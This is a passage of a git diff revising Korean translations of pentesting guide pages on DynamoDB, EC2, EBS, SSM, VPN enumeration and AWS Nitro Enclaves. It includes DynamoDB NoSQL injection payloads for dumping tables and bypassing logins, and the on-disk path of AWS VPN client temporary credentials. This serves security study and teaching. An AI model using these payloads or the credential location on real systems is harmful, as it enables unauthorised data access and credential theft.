+6,7 @@ ### 기본 정보 -Amazon DynamoDB는 AWS에서 **완전 관리형, 서버리스, 키-값 NoSQL 데이터베이스**로 제공되며, 크기에 관계없이 고성능 애플리케이션을 지원하도록 설계되었습니다. 이 서비스는 내재된 보안 조치, 중단 없는 백업, 여러 지역에 걸친 자동 복제, 통합 인메모리 캐싱 및 편리한 데이터 내보내기 유틸리티를 포함한 강력한 기능을 보장합니다. +Amazon DynamoDB는 AWS에서 **완전 관리형, 서버리스, 키-값 NoSQL 데이터베이스**로 제공되며, 크기에 관계없이 고성능 애플리케이션을 지원하도록 설계되었습니다. 이 서비스는 내장된 보안 조치, 중단 없는 백업, 여러 지역에 걸친 자동 복제, 통합 인메모리 캐싱 및 편리한 데이터 내보내기 유틸리티와 같은 강력한 기능을 보장합니다. DynamoDB의 맥락에서 전통적인 데이터베이스를 설정하는 대신 **테이블이 생성됩니다**. 각 테이블은 **테이블의 기본 키**의 필수 구성 요소로 **파티션 키**의 지정을 요구합니다. 이 파티션 키는 본질적으로 **해시 값**으로, 항목 검색 및 다양한 호스트에 걸친 데이터 분배에서 중요한 역할을 합니다. 이 분배는 데이터베이스의 확장성과 가용성을 유지하는 데 필수적입니다. 또한, 데이터 조직을 더욱 세분화하기 위해 **정렬 키**를 포함할 수 있는 옵션이 있습니다. @@ -18,7 +18,7 @@ DynamoDB의 맥락에서 전통적인 데이터베이스를 설정하는 대신 ### 백업 및 S3로 내보내기 -**테이블 백업** 생성을 **예약**하거나 **요청**에 따라 생성할 수 있습니다. 또한, **테이블에 대한 시점 복구(PITR)**를 활성화할 수도 있습니다. 시점 복구는 우발적인 쓰기 또는 삭제 작업으로부터 보호하기 위해 **35일** 동안 DynamoDB 데이터의 지속적인 **백업**을 제공합니다. +**테이블 백업** 생성을 **예약**하거나 **요청**에 따라 생성할 수 있습니다. 또한, **테이블에 대한 시점 복구(PITR)를 활성화**할 수도 있습니다. 시점 복구는 우발적인 쓰기 또는 삭제 작업으로부터 보호하기 위해 DynamoDB 데이터의 지속적인 **백업**을 **35일** 동안 제공합니다. **테이블의 데이터를 S3로 내보내는** 것도 가능하지만, 테이블에 **PITR이 활성화되어 있어야** 합니다. @@ -89,10 +89,10 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### NoSQL 주입 -DynamoDB에서는 데이터를 검색하기 위해 다양한 **조건**을 사용할 수 있으며, 일반적인 NoSQL 주입처럼 **더 많은 조건을 연결하여** 데이터를 검색할 수 있다면 숨겨진 데이터(또는 전체 테이블을 덤프)를 얻을 수 있습니다.\ -여기에서 DynamoDB에서 지원하는 조건을 확인할 수 있습니다: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) +DynamoDB에서는 데이터를 검색하기 위해 다양한 **조건**을 사용할 수 있으며, 일반적인 NoSQL 주입에서 **더 많은 조건을 연결하여** 데이터를 검색할 수 있다면 숨겨진 데이터(또는 전체 테이블을 덤프할 수 있음)를 얻을 수 있습니다.\ +여기에서 DynamoDB에서 지원하는 조건을 찾을 수 있습니다: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -**`query`** 또는 **`scan`**을 통해 데이터에 접근할 경우 **다른 조건**이 지원된다는 점에 유의하세요. +데이터에 접근할 때 **`query`** 또는 **`scan`**을 통해 **다른 조건**이 지원된다는 점에 유의하세요. > [!NOTE] > 실제로, **Query** 작업은 작동하기 위해 **기본** 키에서 **조건 "EQ" (같음)**을 지정해야 하므로, **NoSQL 주입에 덜 취약**하게 만들고(또한 작업을 매우 제한적으로 만듭니다). @@ -113,7 +113,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection > [!CAUTION] > **이 취약점은 현재 사용 중단된 dynamodb Scan Filter에 기반합니다!** -**DynamoDB**는 DB 내에서 데이터를 **검색**하기 위해 **Json** 객체를 수락합니다. 검색을 위해 전송된 json 객체에 쓸 수 있다는 것을 발견하면, DB 덤프를 만들 수 있으며, 모든 내용을 가져올 수 있습니다. +**DynamoDB**는 DB 내에서 데이터를 **검색**하기 위해 **Json** 객체를 수락합니다. 검색을 위해 전송된 json 객체에 작성할 수 있는 경우, DB 덤프를 생성하여 모든 내용을 가져올 수 있습니다. 예를 들어, 다음과 같은 요청에 주입: ```bash @@ -123,7 +123,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -ID 1000을 검색하는 "EQ" 조건을 수정한 다음, 0보다 큰 모든 Id 문자열을 찾는 것입니다. 이는 모두 포함됩니다. +ID 1000을 검색하는 "EQ" 조건을 수정한 다음, 0보다 큰 모든 Id 문자열을 찾습니다. 이는 모두 포함됩니다. 또 다른 **로그인을 사용하는 취약한 예**는 다음과 같습니다: ```python @@ -141,7 +141,7 @@ scan_filter = """{ dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` -이것은 다음과 같은 취약점이 있을 수 있습니다: +이것은 다음과 같은 취약점에 노출될 수 있습니다: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none @@ -152,7 +152,7 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -DynamoDB에서 **필터 표현식**에서 **값**을 **대체**하기 위해 항목을 스캔할 때, 토큰은 **`:`** 문자로 **시작해야** 합니다. 이러한 토큰은 **런타임에 실제 **속성 값으로 대체**됩니다. +DynamoDB에서 **필터 표현식**에서 속성 **값**을 **대체**하기 위해 항목을 스캔할 때, 토큰은 **`:`** 문자로 **시작해야** 합니다. 이러한 토큰은 **런타임에 실제 속성 값으로 대체**됩니다. 따라서 이전과 같은 로그인을 우회할 수 있는 방법은 다음과 같습니다: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index a75e4bf77..2b4cd64cc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -VPC와 그 구성 요소에 대한 내용을 배우려면: +VPC와 그 구성 요소에 대해 배우기: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2는 **가상 서버**를 시작하는 데 사용됩니다. **보안** 및 **네트워킹** 구성과 **스토리지** 관리를 허용합니다. Amazon EC2의 유연성은 자원을 위아래로 확장할 수 있는 능력에서 분명히 드러나며, 이는 다양한 요구 변화나 인기 급증에 효과적으로 적응합니다. 이 기능은 정확한 트래픽 예측의 필요성을 줄여줍니다. +Amazon EC2는 **가상 서버**를 시작하는 데 사용됩니다. **보안** 및 **네트워킹** 구성과 **스토리지** 관리를 허용합니다. Amazon EC2의 유연성은 자원을 위아래로 확장할 수 있는 능력에서 분명히 나타나며, 이는 다양한 요구 변화나 인기 급증에 효과적으로 적응합니다. 이 기능은 정확한 트래픽 예측의 필요성을 줄여줍니다. EC2에서 열거할 흥미로운 항목들: @@ -23,19 +23,19 @@ EC2에서 열거할 흥미로운 항목들: - 네트워킹 - 네트워크 - 서브네트워크 -- 공인 IP +- 공용 IP - 열린 포트 - AWS 외부의 다른 네트워크와의 통합 연결 ### Instance Profiles -**EC2 인스턴스**에서 실행되는 애플리케이션에 권한을 부여하기 위해 **역할**을 사용하는 것은 약간의 추가 구성이 필요합니다. EC2 인스턴스에서 실행되는 애플리케이션은 가상화된 운영 체제에 의해 AWS로부터 추상화됩니다. 이러한 추가 분리로 인해, EC2 인스턴스에 AWS 역할과 관련된 권한을 할당하고 이를 애플리케이션에서 사용할 수 있도록 하려면 추가 단계가 필요합니다. +**EC2 인스턴스**에서 실행되는 애플리케이션에 권한을 부여하기 위해 **역할**을 사용하는 것은 약간의 추가 구성이 필요합니다. EC2 인스턴스에서 실행되는 애플리케이션은 가상화된 운영 체제에 의해 AWS로부터 추상화됩니다. 이 추가 분리로 인해, EC2 인스턴스에 AWS 역할과 그에 따른 권한을 할당하고 이를 애플리케이션에서 사용할 수 있도록 하려면 추가 단계가 필요합니다. -이 추가 단계는 인스턴스에 연결된 [_**인스턴스 프로파일**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)의 **생성**입니다. **인스턴스 프로파일은 역할을 포함하며** 인스턴스에서 실행되는 애플리케이션에 역할의 임시 자격 증명을 제공할 수 있습니다. 이러한 임시 자격 증명은 애플리케이션의 API 호출에서 자원에 접근하고 역할이 지정한 자원에만 접근을 제한하는 데 사용될 수 있습니다. **EC2 인스턴스에는 한 번에 하나의 역할만 할당될 수** 있으며, 인스턴스의 모든 애플리케이션은 동일한 역할과 권한을 공유합니다. +이 추가 단계는 인스턴스에 연결된 [_**인스턴스 프로필**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)의 **생성**입니다. **인스턴스 프로필은 역할을 포함하며** 인스턴스에서 실행되는 애플리케이션에 역할의 임시 자격 증명을 제공할 수 있습니다. 이러한 임시 자격 증명은 애플리케이션의 API 호출에서 자원에 접근하고 역할이 지정한 자원에만 접근을 제한하는 데 사용될 수 있습니다. **EC2 인스턴스에는 한 번에 하나의 역할만 할당될 수** 있으며, 인스턴스의 모든 애플리케이션은 동일한 역할과 권한을 공유합니다. ### Metadata Endpoint -AWS EC2 메타데이터는 Amazon Elastic Compute Cloud (EC2) 인스턴스에 대한 정보로, 인스턴스가 실행 중일 때 사용할 수 있습니다. 이 메타데이터는 인스턴스 ID, 실행 중인 가용 영역, 인스턴스와 관련된 IAM 역할, 인스턴스의 호스트 이름과 같은 인스턴스에 대한 정보를 제공하는 데 사용됩니다. +AWS EC2 메타데이터는 런타임에 인스턴스에서 사용할 수 있는 Amazon Elastic Compute Cloud (EC2) 인스턴스에 대한 정보입니다. 이 메타데이터는 인스턴스 ID, 실행 중인 가용 영역, 인스턴스와 연결된 IAM 역할, 인스턴스의 호스트 이름과 같은 인스턴스에 대한 정보를 제공하는 데 사용됩니다. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -135,13 +135,13 @@ aws ec2 describe-vpc-peering-connections ### 권한 상승 -다음 페이지에서 **EC2 권한을 악용하여 권한을 상승시키는 방법**을 확인할 수 있습니다: +다음 페이지에서 **EC2 권한을 남용하여 권한을 상승시키는 방법**을 확인할 수 있습니다: {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### 사후 활용 +### 포스트 익스플로잇 {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -149,7 +149,7 @@ aws ec2 describe-vpc-peering-connections ## EBS -Amazon **EBS** (Elastic Block Store) **스냅샷**은 기본적으로 AWS EBS 볼륨의 정적 **백업**입니다. 다시 말해, 특정 시점에 **EC2** 인스턴스에 연결된 **디스크**의 **복사본**입니다. EBS 스냅샷은 지역 및 계정 간에 복사되거나, 심지어 다운로드하여 로컬에서 실행할 수 있습니다. +Amazon **EBS** (Elastic Block Store) **스냅샷**은 기본적으로 AWS EBS 볼륨의 정적 **백업**입니다. 다시 말해, 특정 시점에 **EC2** 인스턴스에 연결된 **디스크**의 **복사본**입니다. EBS 스냅샷은 지역과 계정 간에 복사할 수 있으며, 로컬에서 다운로드하여 실행할 수도 있습니다. 스냅샷에는 **소스 코드나 API 키**와 같은 **민감한 정보**가 포함될 수 있으므로, 기회가 있다면 확인하는 것이 좋습니다. @@ -159,7 +159,7 @@ Amazon **EBS** (Elastic Block Store) **스냅샷**은 기본적으로 AWS EBS ### 권한 상승 -다음 페이지에서 **EBS 권한을 악용하여 권한을 상승시키는 방법**을 확인할 수 있습니다: +다음 페이지에서 **EBS 권한을 남용하여 권한을 상승시키는 방법**을 확인할 수 있습니다: {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -167,11 +167,11 @@ Amazon **EBS** (Elastic Block Store) **스냅샷**은 기본적으로 AWS EBS ## SSM -**Amazon Simple Systems Manager (SSM)**은 EC2 인스턴스의 플로트를 원격으로 관리하여 관리 작업을 훨씬 더 쉽게 만들어 줍니다. 이러한 인스턴스는 **SSM 에이전트 서비스가 실행 중이어야 하며, 이 서비스가 AWS API에서 작업을 수행하고 실행하는 역할을 합니다**. +**Amazon Simple Systems Manager (SSM)**은 EC2 인스턴스의 플로트를 원격으로 관리하여 관리 작업을 훨씬 더 쉽게 만들어 줍니다. 이러한 인스턴스는 **SSM Agent 서비스가 실행 중이어야 하며, 이 서비스가 AWS API에서 작업을 수행하고 실행하는 역할을 합니다.** -**SSM 에이전트**는 시스템 관리자가 이러한 리소스를 업데이트, 관리 및 구성할 수 있도록 합니다. 에이전트는 **AWS 클라우드의 시스템 관리 서비스로부터 요청을 처리**하고, 요청에 지정된 대로 실행합니다. +**SSM Agent**는 Systems Manager가 이러한 리소스를 업데이트, 관리 및 구성할 수 있도록 합니다. 에이전트는 **AWS Cloud의 Systems Manager 서비스로부터 요청을 처리**하고, 요청에 지정된 대로 실행합니다. -**SSM 에이전트는**[ **일부 AMI에 사전 설치되어 있습니다**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) 또는 인스턴스에 [**수동으로 설치해야 합니다**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html). 또한, 인스턴스 내에서 사용되는 IAM 역할은 통신할 수 있도록 **AmazonEC2RoleforSSM** 정책이 연결되어 있어야 합니다. +**SSM Agent는**[ **일부 AMI에 사전 설치되어 있습니다**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) 또는 인스턴스에 [**수동으로 설치해야 합니다**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html). 또한, 인스턴스 내에서 사용되는 IAM 역할은 통신할 수 있도록 **AmazonEC2RoleforSSM** 정책이 연결되어 있어야 합니다. ### 열거 ```bash @@ -196,7 +196,7 @@ ps aux | grep amazon-ssm ## ELB -**Elastic Load Balancing** (ELB)는 **Amazon Web Services** (AWS) 배포를 위한 **로드 밸런싱 서비스**입니다. ELB는 자동으로 **들어오는 애플리케이션 트래픽을 분산**하고 트래픽 수요에 맞게 리소스를 확장합니다. +**Elastic Load Balancing** (ELB)는 **Amazon Web Services** (AWS) 배포를 위한 **로드 밸런싱 서비스**입니다. ELB는 자동으로 **들어오는 애플리케이션 트래픽을 분산**하고 트래픽 수요를 충족하기 위해 리소스를 확장합니다. ### Enumeration ```bash @@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS Nitro는 AWS EC2 인스턴스의 기본 플랫폼을 형성하는 **혁신적인 기술** 모음입니다. Amazon에 의해 **보안, 성능 및 신뢰성**을 **향상시키기 위해** 도입된 Nitro는 맞춤형 **하드웨어 구성 요소와 경량 하이퍼바이저**를 활용합니다. 전통적인 가상화 기능의 많은 부분을 전용 하드웨어와 소프트웨어로 추상화하여 **공격 표면을 최소화**하고 자원 효율성을 개선합니다. 가상화 기능을 오프로드함으로써 Nitro는 EC2 인스턴스가 **거의 베어 메탈 성능**을 제공할 수 있게 하여 자원 집약적인 애플리케이션에 특히 유리합니다. 또한, Nitro 보안 칩은 **하드웨어와 펌웨어의 보안**을 보장하여 그 강력한 아키텍처를 더욱 강화합니다. +AWS Nitro는 AWS EC2 인스턴스의 기본 플랫폼을 형성하는 **혁신적인 기술** 모음입니다. Amazon에 의해 **보안, 성능 및 신뢰성**을 향상시키기 위해 도입된 Nitro는 맞춤형 **하드웨어 구성 요소와 경량 하이퍼바이저**를 활용합니다. 전통적인 가상화 기능의 많은 부분을 전용 하드웨어와 소프트웨어로 추상화하여 **공격 표면을 최소화**하고 자원 효율성을 개선합니다. 가상화 기능을 오프로드함으로써 Nitro는 EC2 인스턴스가 **거의 베어 메탈 성능**을 제공할 수 있게 하여 자원 집약적인 애플리케이션에 특히 유리합니다. 또한, Nitro 보안 칩은 **하드웨어와 펌웨어의 보안**을 보장하여 강력한 아키텍처를 더욱 강화합니다. 자세한 정보와 이를 열거하는 방법은 다음에서 확인하세요: @@ -238,7 +238,7 @@ aws-nitro-enum.md ## VPN -VPN은 **온프레미스 네트워크(사이트 간 VPN)** 또는 **작업자 노트북(클라이언트 VPN)**을 **AWS VPC**에 연결하여 서비스를 인터넷에 노출하지 않고도 접근할 수 있게 합니다. +VPN은 **온프레미스 네트워크(사이트 간 VPN)** 또는 **작업자 노트북(클라이언트 VPN)**을 **AWS VPC**와 연결하여 서비스를 인터넷에 노출하지 않고도 접근할 수 있게 합니다. #### 기본 AWS VPN 구성 요소 @@ -248,8 +248,8 @@ VPN은 **온프레미스 네트워크(사이트 간 VPN)** 또는 **작업자 - 고객 게이트웨이를 생성하기 위해 라우팅 정보와 네트워크 장치(예: 라우터 또는 방화벽)의 공용 IP 주소를 AWS에 제공합니다. - VPN 연결 설정을 위한 참조 지점 역할을 하며 추가 요금이 발생하지 않습니다. 2. **가상 사설 게이트웨이**: -- 가상 사설 게이트웨이(VPG)는 사이트 간 VPN 연결의 Amazon 측 VPN 집중기입니다. -- 귀하의 VPC에 연결되어 VPN 연결의 대상 역할을 합니다. +- 가상 사설 게이트웨이(VPG)는 사이트 간 VPN 연결의 Amazon 측에 있는 VPN 집중기입니다. +- 귀하의 VPC에 연결되어 있으며 VPN 연결의 대상 역할을 합니다. - VPG는 VPN 연결의 AWS 측 엔드포인트입니다. - 귀하의 VPC와 온프레미스 네트워크 간의 안전한 통신을 처리합니다. 3. **사이트 간 VPN 연결**: @@ -263,7 +263,7 @@ VPN은 **온프레미스 네트워크(사이트 간 VPN)** 또는 **작업자 - 전체 네트워크를 연결하는 것이 아니라 개별 클라이언트를 위해 설계되었다는 점에서 사이트 간 VPN과 다릅니다. - 클라이언트 VPN을 사용하면 각 클라이언트 장치가 VPN 클라이언트 소프트웨어를 사용하여 안전한 연결을 설정합니다. -[**AWS VPN의 이점과 구성 요소에 대한 자세한 정보를 여기에서 확인할 수 있습니다**](aws-vpc-and-networking-basic-information.md#vpn). +AWS VPN의 이점과 구성 요소에 대한 [**자세한 정보는 여기에서 확인하세요**](aws-vpc-and-networking-basic-information.md#vpn). ### Enumeration ```bash @@ -293,7 +293,7 @@ aws ec2 describe-vpn-connections **로컬 임시 자격 증명** -AWS VPN 클라이언트를 사용하여 VPN에 연결할 때, 사용자는 일반적으로 **AWS에 로그인**하여 VPN에 접근합니다. 그런 다음, VPN 연결을 설정하기 위해 일부 **AWS 자격 증명이 생성되어 로컬에 저장됩니다**. 이러한 자격 증명은 **$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt**에 저장되며, **AccessKey**, **SecretKey** 및 **Token**을 포함합니다. +AWS VPN 클라이언트를 사용하여 VPN에 연결할 때, 사용자는 일반적으로 **AWS에 로그인**하여 VPN에 접근합니다. 그런 다음, VPN 연결을 설정하기 위해 일부 **AWS 자격 증명이 생성되어 로컬에 저장됩니다**. 이 자격 증명은 **`$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt`**에 저장되며, **AccessKey**, **SecretKey** 및 **Token**을 포함합니다. 자격 증명은 사용자 `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials`에 속합니다 (TODO: 이 자격 증명의 권한에 대해 더 조사하기). diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index a89823770..0ec989b72 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -2,20 +2,20 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -AWS Nitro는 AWS EC2 인스턴스의 기본 플랫폼을 형성하는 **혁신적인 기술** 모음입니다. Amazon에 의해 **보안, 성능 및 신뢰성**을 향상시키기 위해 도입된 Nitro는 맞춤형 **하드웨어 구성 요소와 경량 하이퍼바이저**를 활용합니다. 전통적인 가상화 기능의 대부분을 전용 하드웨어와 소프트웨어로 추상화하여 **공격 표면을 최소화**하고 자원 효율성을 개선합니다. 가상화 기능을 오프로드함으로써 Nitro는 EC2 인스턴스가 **거의 베어 메탈 성능**을 제공할 수 있게 하여, 자원 집약적인 애플리케이션에 특히 유리합니다. 또한, Nitro 보안 칩은 **하드웨어와 펌웨어의 보안**을 보장하여 강력한 아키텍처를 더욱 강화합니다. +AWS Nitro는 AWS EC2 인스턴스의 기본 플랫폼을 형성하는 **혁신적인 기술** 모음입니다. Amazon에 의해 **보안, 성능 및 신뢰성**을 향상시키기 위해 도입된 Nitro는 맞춤형 **하드웨어 구성 요소와 경량 하이퍼바이저**를 활용합니다. 전통적인 가상화 기능의 많은 부분을 전용 하드웨어와 소프트웨어로 추상화하여 **공격 표면을 최소화**하고 자원 효율성을 개선합니다. 가상화 기능을 오프로드함으로써 Nitro는 EC2 인스턴스가 **거의 베어 메탈 성능**을 제공할 수 있게 하여, 자원 집약적인 애플리케이션에 특히 유리합니다. 또한, Nitro 보안 칩은 **하드웨어와 펌웨어의 보안**을 보장하여 강력한 아키텍처를 더욱 강화합니다. ### Nitro Enclaves -**AWS Nitro Enclaves**는 Amazon EC2 인스턴스 내에서 **고도로 민감한 데이터** 처리를 위해 특별히 설계된 안전하고 **격리된 컴퓨팅 환경**을 제공합니다. AWS Nitro 시스템을 활용하여 이러한 인클레이브는 강력한 **격리 및 보안**을 보장하며, PII 또는 재무 기록과 같은 **기밀 정보**를 처리하는 데 이상적입니다. 이들은 미니멀한 환경을 특징으로 하여 데이터 노출 위험을 크게 줄입니다. 또한, Nitro Enclaves는 암호화된 증명을 지원하여 사용자가 승인된 코드만 실행되고 있는지 확인할 수 있게 하여, 엄격한 준수 및 데이터 보호 기준을 유지하는 데 중요합니다. +**AWS Nitro Enclaves**는 Amazon EC2 인스턴스 내에서 **고도로 민감한 데이터**를 처리하기 위해 특별히 설계된 안전하고 **격리된 컴퓨팅 환경**을 제공합니다. AWS Nitro 시스템을 활용하여 이러한 인클레이브는 강력한 **격리 및 보안**을 보장하며, PII 또는 재무 기록과 같은 **기밀 정보**를 처리하는 데 이상적입니다. 이들은 미니멀한 환경을 특징으로 하여 데이터 노출 위험을 크게 줄입니다. 또한, Nitro Enclaves는 암호화된 증명을 지원하여 사용자가 오직 승인된 코드만 실행되고 있음을 확인할 수 있게 하여, 엄격한 준수 및 데이터 보호 기준을 유지하는 데 중요합니다. > [!CAUTION] -> Nitro Enclave 이미지는 **EC2 인스턴스 내에서 실행되며**, AWS 웹 콘솔에서 EC2 인스턴스가 Nitro Enclave에서 이미지를 실행 중인지 여부를 확인할 수 없습니다. +> Nitro Enclave 이미지는 **EC2 인스턴스 내부에서 실행**되며, AWS 웹 콘솔에서 EC2 인스턴스가 Nitro Enclave에서 이미지를 실행 중인지 여부를 확인할 수 없습니다. -## Nitro Enclave CLI installation +## Nitro Enclave CLI 설치 -모든 지침을 [**문서에서**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) 따르십시오. 그러나 가장 중요한 것은 다음과 같습니다: +모든 지침을 [**문서에서**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) 따르십시오. 그러나 가장 중요한 지침은 다음과 같습니다: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -33,7 +33,7 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n ``` ## Nitro Enclave Images -Nitro Enclave에서 실행할 수 있는 이미지는 도커 이미지 기반이므로, 다음과 같은 도커 이미지에서 Nitro Enclave 이미지를 생성할 수 있습니다: +Nitro Enclave에서 실행할 수 있는 이미지는 docker 이미지 기반이므로, 다음과 같은 docker 이미지에서 Nitro Enclave 이미지를 생성할 수 있습니다: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image @@ -54,14 +54,14 @@ Enclave Image successfully created. } } ``` -### Run an Image +### 이미지를 실행하기 [**문서**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave)에 따르면, enclave 이미지를 실행하려면 **`eif` 파일 크기의 최소 4배에 해당하는 메모리를 할당해야** 합니다. 파일에서 기본 리소스를 구성하여 할당할 수 있습니다. ```shell /etc/nitro_enclaves/allocator.yaml ``` > [!CAUTION] -> 항상 **부모 EC2** 인스턴스를 위해 일부 리소스를 **예약해야 한다는 것을 기억하세요**! +> 항상 **부모 EC2** 인스턴스를 위해 일부 리소스를 **예약해야 한다는 것을 기억하세요!** 이미지에 제공할 리소스를 알고 구성 파일을 수정한 후에도 다음을 사용하여 인클레이브 이미지를 실행할 수 있습니다: ```shell @@ -71,21 +71,20 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` -### Enclaves 열거하기 +### Enclaves 열거 EC2 호스트를 손상시키면 다음을 사용하여 실행 중인 enclave 이미지 목록을 얻을 수 있습니다: ```bash nitro-cli describe-enclaves ``` -It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with: -**실행 중인 엔클레이브 이미지 내부에서 셸을 얻는 것은 불가능합니다. 이는 엔클레이브의 주요 목적이기 때문입니다. 그러나 **`--debug-mode`** 매개변수를 사용하면 다음과 같이 **stdout**을 얻을 수 있습니다:** +실행 중인 enclave 이미지 내부에서 **쉘을 얻는 것은 불가능**합니다. 이는 enclave의 주요 목적이기 때문입니다. 그러나 **`--debug-mode`** 매개변수를 사용하면 다음과 같이 **stdout**을 얻을 수 있습니다: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` -### Terminate Enclaves +### Enclaves 종료 -공격자가 EC2 인스턴스를 손상시키면 기본적으로 그 안에서 셸을 얻을 수는 없지만, 다음과 같이 **종료할 수** 있습니다: +공격자가 EC2 인스턴스를 손상시키면 기본적으로 그 안에 셸을 얻을 수는 없지만, 다음을 사용하여 **종료할 수** 있습니다: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` @@ -131,7 +130,7 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ### Vsock Server/Listener -여기 몇 가지 예제가 있습니다: +여기 몇 가지 예가 있습니다: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py) @@ -192,16 +191,14 @@ s.connect((CID, PORT)) s.sendall(b"Hello, world!") s.close() ``` -```markdown
-``` ```bash # Using socat echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` ### Vsock Proxy -도구 vsock-proxy는 다른 주소로 vsock 프록시를 프록시할 수 있습니다. 예를 들어: +도구 vsock-proxy는 다른 주소로 vsock 프록시를 프록시할 수 있게 해줍니다. 예를 들어: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` @@ -210,27 +207,27 @@ vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml allowlist: - { address: ip-ranges.amazonaws.com, port: 443 } ``` -EC2 호스트에서 사용되는 vsock 주소(**`:`**)를 볼 수 있습니다 (여기서 `3:8001`에서 3은 CID이고 8001은 포트입니다): +EC2 호스트에서 사용되는 vsock 주소 (**`:`**)를 볼 수 있습니다 (여기서 `3:8001`에서 3은 CID이고 8001은 포트입니다): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` ## Nitro Enclave Atestation & KMS -Nitro Enclaves SDK는 enclave가 Nitro **Hypervisor**로부터 **암호학적으로 서명된 증명 문서**를 요청할 수 있게 해줍니다. 이 문서에는 해당 enclave에 특정한 **고유 측정값**이 포함됩니다. 이러한 측정값은 **해시 및 플랫폼 구성 레지스터(PCR)**를 포함하며, 증명 과정에서 **enclave의 신원을 증명하고** **외부 서비스와의 신뢰를 구축하는 데** 사용됩니다. 증명 문서에는 일반적으로 PCR0, PCR1, PCR2와 같은 값이 포함되어 있으며, 이는 enclave EIF를 구축하고 저장할 때 이전에 접한 적이 있습니다. +Nitro Enclaves SDK는 enclave가 Nitro **Hypervisor**로부터 **암호학적으로 서명된 증명 문서**를 요청할 수 